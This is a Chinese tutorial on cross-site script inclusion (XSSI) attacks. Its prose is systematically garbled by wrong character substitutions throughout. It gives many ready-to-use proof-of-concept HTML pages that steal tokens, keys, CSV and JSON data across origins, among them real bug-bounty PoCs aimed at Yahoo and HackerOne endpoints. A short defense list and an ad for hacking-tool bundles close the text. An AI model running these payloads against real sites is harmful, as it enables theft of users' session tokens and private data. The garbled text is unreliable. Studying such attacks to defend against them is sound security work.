一.XSSI破绽原理

同源策略

同源策略是Web应用程序平安模型中最根本也是最外围的策略。

当初所有反对JavaScript的浏览器都会应用这个策略。

所谓同源是指,域名,协定,端口雷同。

同源策略规定,不同源的客户端脚本(javascript、ActionScript)在没明确受权的状况下,不能读写对方的资源。

此策略可避免一个页面上的歹意脚本通过该页面的Document Object Model拜访另一网页上的敏感数据。

为了满足同源策略,浏览器对不同拜访行为进行了限度,限度规定个别如下:


XSSI原理

XSSI破绽全称为跨站脚本蕴含破绽,攻击者通过应用<script>标签(所有带src或href属性的标签以及局部其余标签能够跨域)跨域蕴含特定文件/页面

能够窃取合乎JavaScript格局的文件中的敏感信息。

攻击者会将可泄露用户信息的JavaScript文件蕴含进来。

这里获取的指标数据,即敏感信息,大抵分为几类:

认证凭据CSRF token用户个人信息等

XSSI、XSS、CSRF的区别

XSS 攻打是指攻击者在网站上注入歹意的客户端代码,通过歹意脚本对客户端网页进行篡改,从而在用户浏览网页时,对用户浏览器进行管制或者获取用户隐衷数据的一种攻击方式。

攻击者对客户端网页注入的歹意脚本个别包含 JavaScript,有时也会蕴含 HTML 和 Flash。

有很多种形式进行 XSS 攻打,但它们的共同点为:将一些隐衷数据像 cookie、session 发送给攻击者,将受害者重定向到一个由攻击者管制的网站,在受害者的机器上进行一些歹意操作

CSRF(跨站申请伪造),指假冒用户发动申请(在用户不知情的状况下),实现一些违反用户志愿的申请(如歹意发帖,删帖,改明码,发邮件等)通常来说CSRF是由XSS实现的,所以CSRF时常也被称为XSRF[用XSS的形式实现伪造申请]。

XSS更偏差于代码实现(即写一段领有跨站申请性能的JavaScript脚本注入到一条帖子里,而后有用户拜访了这个帖子,这就算是中了XSS攻打了),CSRF更偏差于一个攻打后果,只有发动了冒牌申请那么就算是CSRF了

XSSI(跨站申请蕴含)是XSS的一种模式,即浏览器不会阻止网页加载图像和文字等资源,这些资源通常托管在其余域和服务器。

例如,如果abc银行有一个脚本用于读取用户的私人账户信息,攻击者能够在其本人的歹意网站蕴含这个脚本,当abc银行的客户拜访攻击者的网站时,攻击者就能够从abc银行的服务器提取用户信息。

从外表上看,XSSI和CSRF看起来很类似,因为在这两种状况下,申请都是从歹意页面发送到另一个域的,并且在两种状况下,申请都是在登录用户的上下文中执行的。

要害区别在于指标。

在CSRF中,攻击者心愿在受害者页面内执行歹意操作,例如在网上银行应用程序中进行转帐。

在XSSI中,攻击者想要跨域泄露数据,以便再执行攻打。

与jsonp劫持的关系

jsonp劫持等利用js对插入函数进行插入恶意代码,将敏感数据发送到攻击者的服务器,实际上就是对存在jsonpjack持守入侵的网页进行发动一次申请,让其受害者客户端执行插入的恶意代码

而xssi次要获取服务器为每个客户端生成的动静js文件中的敏感数据,达到信息定向的目标,这种信息可能包含用户的登录凭证,重大可导致任意用户账号接管。

二.XSSI破绽利用以及POC

XSSI通常辨别为三种状况。

然而利用形式是类似甚至是雷同的(就像反射与存储的XSS)。咱们能够将三种状况辨别如下:

动态JavaScript(惯例XSSI)

间接拜访该js即可获取敏感信息,但个别都是攻打认证后蕴含敏感信息的js

假如敏感内容设定在一个全局变量中,如上面的事实例子:

var privateKey ="-----BEGIN RSA PRIVATE KEY-----....-----END RSA PRIVATE KEY-----",    keys =[{ name:'Key No 1', apiKey:'0c8aab23-2ab5-46c5-a0f2-e52ecf7d6ea8', privateKey: privateKey },{ name:'Key No 2', apiKey:'1e4b8312-f767-43eb-a16b-d44d3e471198', privateKey: privateKey }];

利用POC:

<html><head><title>Regular XSSI</title><scriptsrc="https://www.vulnerable-domain.tld/script.js"></script></head><body><script>      alert(JSON.stringify(keys[0]));</script></body></html>

动静JavaScript

1.敏感信息存储在全局变量

http://vuln.com/dynamic.js
var token='secret';

利用POC

http://attacker.com/xssi.html
<!DOCTYPE html><html><head><title>xssi</title></head><body><scriptsrc="http://vuln.com/dynamic.js"></script><script>alert(token);</script></body></html>

2.敏感信息被内部函数解决,能够重写函数

http://vuln.com/dynamic1.js
(function(){var token='secret';    doSomeThing(token);})();

利用POC:

http://attacker.com/xssi1.html
<!DOCTYPE html><html><head><title>xssi1</title></head><body><script>function doSomeThing(data){alert(data);}</script><scriptsrc="http://vuln.com/dynamic1.js"></script></body></html>

3.利用原型链窃取敏感信息

对于非常规状况,能够思考利用原型链获取数据

http://vuln.com/dynamic2.js
(function(){var token='secret';var data=token.trim();})();

利用POC:

http://attacker.com/xssi2.html
<!DOCTYPE html><html><head><title>xssi2</title></head><body><script>String.prototype.trim =function(){alert(this);}</script><scriptsrc="http://vuln.com/dynamic2.js"></script></body></html>

非JavaScript

1.IE bug导致错误信息透露 (ie 9 和 ie 10)

为了避免js错误信息跨域透露,对于内部加载的js文件,当初支流的浏览器只有固定的错误信息,比方“script error”,当是在ie9与ie10,状况不肯定如此。

一般来说,在内部js产生语法错误的状况下,浏览器只会提供固定的错误信息,

然而当在runtime产生谬误的状况下,浏览器会提供具体的错误信息。

比方”foo 未定义”之类的,某些浏览器一旦容许外域js回复具体的错误信息,就会导致信息透露。

就是说,当某个网页的内容能被js辨认为javascript格局的话,那么就可能通过错误信息获取到指标的内容。

比方,指标网页

HTTP/1.1200 OKContent-Type: text/csvContent-Disposition: attachment; filename="a.csv"Content-Length:131,abc,def,ghi

攻击者设置谬误显示

#!html<SCRIPT>window.onerror =function(err){alert(err)}</SCRIPT><!-- load target CSV --><SCRIPT src="(target data's URL)"></SCRIPT>

一旦加载胜利,网页则会显示 “‘abc’ is undefined”

会呈现这种状况是因为浏览器将指标辨认为javascript,那么abc就会被辨认为某个未定义的变量。

当为这种状况的时候,浏览器就容许页面捕获来自不同网页的错误信息。

做一个总结就是,有被利用的可能性的数据都是能够被辨认,或者通过某种形式辨认为无效js的数据。

不过,略微须要留神的一点,呈现该破绽的只有ie 9 和 ie 10。

2.通过UTF-16编码获取其它类型的数据 (ie版本小于10)

大家能够看到,下面的货色只在csv这种操蛋的玩意上有用,

所以咱们做了更多的钻研看看是否获取不同格局的数据,

之后咱们发现通过UTF-16编码能够达到咱们的指标。

其实自身是一个很简略的技巧 比方页面a ,咱们退出 charset=”UTF-16BE”

#!html<!--set an error handler --><SCRIPT>window.onerror =function(err){alert(err)}</SCRIPT><!-- load target JSON --><SCRIPT src="(target data's URL)" charset="UTF-16BE"></SCRIPT>

而后json数据长这个逼样

HTTP/1.1200 OKContent-Type: application/jsonContent-Disposition: attachment; filename="a.json"Content-Length:39{"aaa":"000","bbb":"111","ccc":"222"}

当响应短少字符集标准的时候,会被charset属性强制转码为固定的编码,咱们用这个技巧撸掉了许多有名的浏览器,包含ie 9。

测试这段代码之后,咱们给本人弹了个窗。

咱们能够看到一串乱码,因为,当浏览器获取指标网页的数据,之间通过了一次编码,而后到咱们的页面上通过charset制订的字符集进行了一次解码。

咱们能很简略的得出一个论断就是咱们能通过对乱码的再次编码来取得原有的信息

不过须要留神的就是只有当编码后的信息可能被浏览器辨认为无效的js标示符的时候攻打才有可能胜利,这是一个重要的条件,

对于不同的平台的编码是有所不同的,在ie上能够被辨认为无效js标示符的字符是多于其余平台的,至于其余来说ie的 ECMAScript标准 跟其余浏览器总体没什么不同。

打个比方对于ie来说 ‘3q’ (U+3371, ㍱) 在 unicode编码中会被认为是 属于 “Symbol, Other [So]”,就是符号的一种。

总的来说这种模式的认定不应该产生在任何浏览器中,不过ie可能比拟2b一些。

咱们花了很多工夫钻研了什么样的组合,可能被浏览器认定为无效的js标示符,当字符编码为UTF-16的时候的数字字母组合,ie 9将其99.3%认为是无效的js标示符,高于chrome和firefox。

具体后果见下图

须要留神的一件事就是在ie 10 或者更高的版本,可能攻打无奈见效,因为ie 10 回绝将没有空字节活着bom的编码为utf16。

3.chrome/firefox 中 Harmony proxy bug利用

Harmony是一个ECMAScript 6中的新性能 ,相似于java的反射类,其中定义了对于对象属性的查找,调配,函数调用

在咱们针对这些新个性的钻研过程中发现该性能能够用于xssi的攻打中

#!html<!--set proxy handler to window.__proto__ --><SCRIPT>var handler ={ has:function(target, name){alert("data="+ name);returntrue},get:function(target, name){return1}};window.__proto__ =newProxy({}, handler);</SCRIPT><!-- load target CSV --><SCRIPT src="(target data's URL)"></SCRIPT>

留神其中的window.proto 定义了一个代理对象,当拜访一个未定义的全局变量,就会登程handler进行解决。

而后csv文件长这样:

HTTP/1.1200 OKContent-Type: text/csvContent-Disposition: attachment; filename="a.csv"Content-Length:131,abc,def,ghi

当拜访攻打页面的时候如果攻打胜利那么久会收到 “data=abc”, “data=def”, “data=ghi”的弹窗,咱们在firefox和chrome都失去了验证。

4.穷举

假如一个攻打页面通过js 加载了上面的csv文件。

HTTP/1.1200 OKContent-Type: text/csvContent-Disposition: attachment; filename="a.csv"Content-Length:81,xyz123

一旦加载咱们就会失去一个 xyz123未定义的谬误

换句话说,如果咱们在加载内部文件之前定义了这个标示符,那么咱们就不会受到这个谬误,同时咱们也能够判断xyz123是存在于内部文件中的。

也就是说咱们须要一个适合的检测谬误是否产生的形式。

个别状况下浏览器是不提供具体的内部错误信息,不过依然会返回一个通用的谬误标示。

所以说穷举信息还是是存在可能性的。

总的来说咱们发现三种穷举的形式

第一种是二元搜寻。

比方你晓得指标会是 “xyz121”, “xyz122”, “xyz123” 和 “xyz124″中的其中一个,能够先定义前两个变量而后看有无谬误爆出,而后定义后两个,而后再放大指标。

第二种是应用 js 的getter,像上面酱紫

#!html<!--set getters --><SCRIPT>Object.defineProperty(window,"xyz121",{get:function(){alert("value=xyz121")}});Object.defineProperty(window,"xyz122",{get:function(){alert("value=xyz122")}});Object.defineProperty(window,"xyz123",{get:function(){alert("value=xyz123")}});Object.defineProperty(window,"xyz124",{get:function(){alert("value=xyz124")}});</SCRIPT><!-- load target CSV --><SCRIPT src="(target data's URL)"></SCRIPT>

就是目标值拜访 window.**|||||| 会触发下面的规定。

第三种是应用vbscript来获取json数组

这个思路来自Hasegawa做的钻研,组合vbscript和json进行攻打(4]

指标页面长这个样子

HTTP/1.1200 OKContent-Type: application/jsonContent-Disposition: attachment; filename="a.json"Content-Length:12[1,"xyz123"]

而后再咱们的攻打界面中调用vbscript

#!html<SCRIPT language="vbscript">Sub[1,"xyz121"]:MsgBox"value=xyz121":EndSubSub[1,"xyz122"]:MsgBox"value=xyz122":EndSubSub[1,"xyz123"]:MsgBox"value=xyz123":EndSubSub[1,"xyz124"]:MsgBox"value=xyz124":EndSub</SCRIPT><!-- load target JSON asVBScript--><SCRIPT src="(target data's URL)" language="vbscript"></SCRIPT>

跟下面的攻打类似,都是通过穷举来获取目标值。不过vbscript只试用于ie

5.csv获取

下面获取csv的信息只在指标的字符串没被引号扩起来的状况下,不过同样是一些小技巧可能使咱们绕过这一限度。

让咱们假如一个csv长这个b样。

1,"___","[email protected]","03-0000-0001"2,"foo","[email protected]","03-0000-0002"...98,"bar","[email protected]","03-0000-0088"99,"___","[email protected]","03-0000-0099"

假如攻击者可能插入本人的字符串,那么只须要依据RFC相干CSV (RFC 4180 (12])中的规定来增加一个双引号就能够bypass这个限度。

for example

1,"\"",$$$=function(){/*","[email protected]","03-0000-0001"2,"foo","[email protected]","03-0000-0002"...98,"bar","[email protected]","03-0000-0088"99,"*/}//","[email protected]","03-0000-0099"

一个比拟蛋疼的问题就是如何获取多行的信息,因为多行在js中是守法的

下面的例子里,咱们应用 $$.toString() 获取函数远吗来达到攻打指标数据的目标。

这种攻击方式试用于所有的浏览器。

一种获取多行内容的形式能够在chrome和firefox中见效,就是ECMAScript6模版字符串中通过反引号来获取多行内容。

三.XSSI破绽实例

雅虎XSSI破绽实现用户信息窃取

在雅虎(Yahoo)破绽众测我的项目中,通过BurpSuite来进行抓包剖析,发现下图的申请:

测试发现是JSONP服务端,在雅虎网站API中,.crumb 值其实就是一个随机字符串

它与用户的session和身份验证值相干,并且如果在该申请中,GET参数 .crumb 值有效的话,其响应如下:

如果能以某种形式去窃取到受害者的无效.crumb 值的话,那么就能窃取到对方的具体账号信息值了。

因而,在BurpSuite的抓包中来查找所有蕴含无效 .crumb 值的申请,最终,发现了在某个动静的Javascript文件存在这样的信息

该Javascript文件位于

https://messenger.yahoo.com/e...。

源代码如下:

这个XSSi 破绽原理其实是这样的,它容许攻击者绕过原始边界窃取特定类型数据,

利用了script标记的src属性来冲破同源策略( SOP),也即在script标记中,浏览器不会阻止网页加载图像和文字等第三方资源。

因而,为了窃取

https://messenger.yahoo.com/e...

中的无效回调 .crumb 值,而后把它搁置在链接

https://jsapi.login.yahoo.com...

中进行申请,以获取到相干用户的session信息,POC代码如下:

<html><head><title>Yahoo XSSi PoC</title></head><body><divstyle="width:60%; margin-right:auto; margin-left:auto; margin-bottom:30px;"><h1style="text-align: center;">Proof of Concept</h1><b>Dataset 1:</b><divid="content1"style="width:100%; border:1px solid black; padding:10px; overflow: scroll; font-family: monospace;"></div><br/><b>Dataset 2:</b><divid="content2"style="width:100%; border:1px solid black; padding:10px; overflow: scroll; font-family: monospace;"></div></div><script>function processDeviceUsers(data){                document.getElementById("content1").innerHTML = JSON.stringify(data);}            window.onload =function(){var config ={};                config_data ={};                config.merge =function(data){ config_data = data };                iris.initConfig(config);                document.getElementById("content2").innerHTML =  JSON.stringify(config_data);var src ="https://jsapi.login.yahoo.com/w/device_users?.crumb="+ config_data.session.logoutCrumb;var s = document.createElement('script');                s.setAttribute('src', src);                document.body.appendChild(s);}</script><scriptsrc="https://messenger.yahoo.com/embed/app.js"></script><scriptsrc="https://code.jquery.com/jquery-3.3.1.min.js"></script></body></html>

成果:

hackerone破绽:如何利用XSSI窃取多行字符串

因为浏览器不会阻止一个域名中的页面间接援用其余域名的资源

所以咱们能够在script标签中引入第三方域名的资源,而后察看其运行状况

但咱们当初还无奈读取到来自第三方域名script标签中的内容。

须要留神的是,蕴含script标签的不肯定必须是JS文件,文件结尾也无需标注text/javascript,而且文件的扩展名也并非肯定要是“.js”。

hackerone存在破绽的地址是:

https://hackerone.com/reports...


这是“导出”性能的一个局部,它容许咱们查看或下载原始报告内容。

点击之后,浏览器便会发送上图所示的GET申请。

这是一个XHR申请,并带有一个反CSRF令牌。

咱们能够在浏览器中看到GET申请所对应的残缺响应信息:

为了跨域透露报告(Report)的内容,所有的语句必须是无效的JavaScript语句。

以下是报告demo:

第一行是一条标记语句(“Title”前面跟着的是用户提供的题目),标记语句是一种无效的JavaScript语句,前面能够跟本人的输出参数。

为了获取到多行字符串数据,这里还要用到反引号( )。

接下来,在结尾的反引号中增加一条正文来作为字符串完结的标记。

当初,能够script标签中嵌入下面给出的URL地址,而后就近程提取出所须要的数据了

POC如下:

<!DOCTYPE html><html><head><metacharset='utf-8'/><script>//Tagged template literalsfunction demo( strings){            alert(strings);}</script></head><body><scripttype='text/ecmascript'src='https://hackerone.com/reports/207802/export/raw?include internal_activities=false '></script></body></html>

目前只晓得两种管制JavaScript多行字符串的办法(串联和反引号本义)

ECMAScript 6也引入了一种箭头函数(Arrow_Functions),它容许开发人员应用简短的字符来定义函数。

上面是一个简略的例子:

除此之外,模版字符串(Template Literals)则是一种更简略的多行字符串解决形式。

四.XSSI破绽进攻

  • X-Content-Type-Options设置为nosniff
  • 不要将敏感数据(session,token等)放在javascript文件中, 也不要放在jsonp中
  • 禁止get
  • 加token
  • 自定义xhr/http申请

  • ①2000多本网安必看电子书(支流和经典的书籍应该都有了)
  • ②PHP规范库材料(最全中文版)
  • ③我的项目源码(四五十个乏味且经典的练手我的项目及源码)
  • ④ 网络安全根底入门、Linux运维,web平安、浸透测试方面的视频(适宜小白学习)
  • ⑤ 网络安全零碎学习路线图(辞别不入流的学习)
  • ⑥ 黑客工具大全
  • ⑦ 2021网络安全/Web平安/浸透测试工程师大厂面经

【点我材料支付】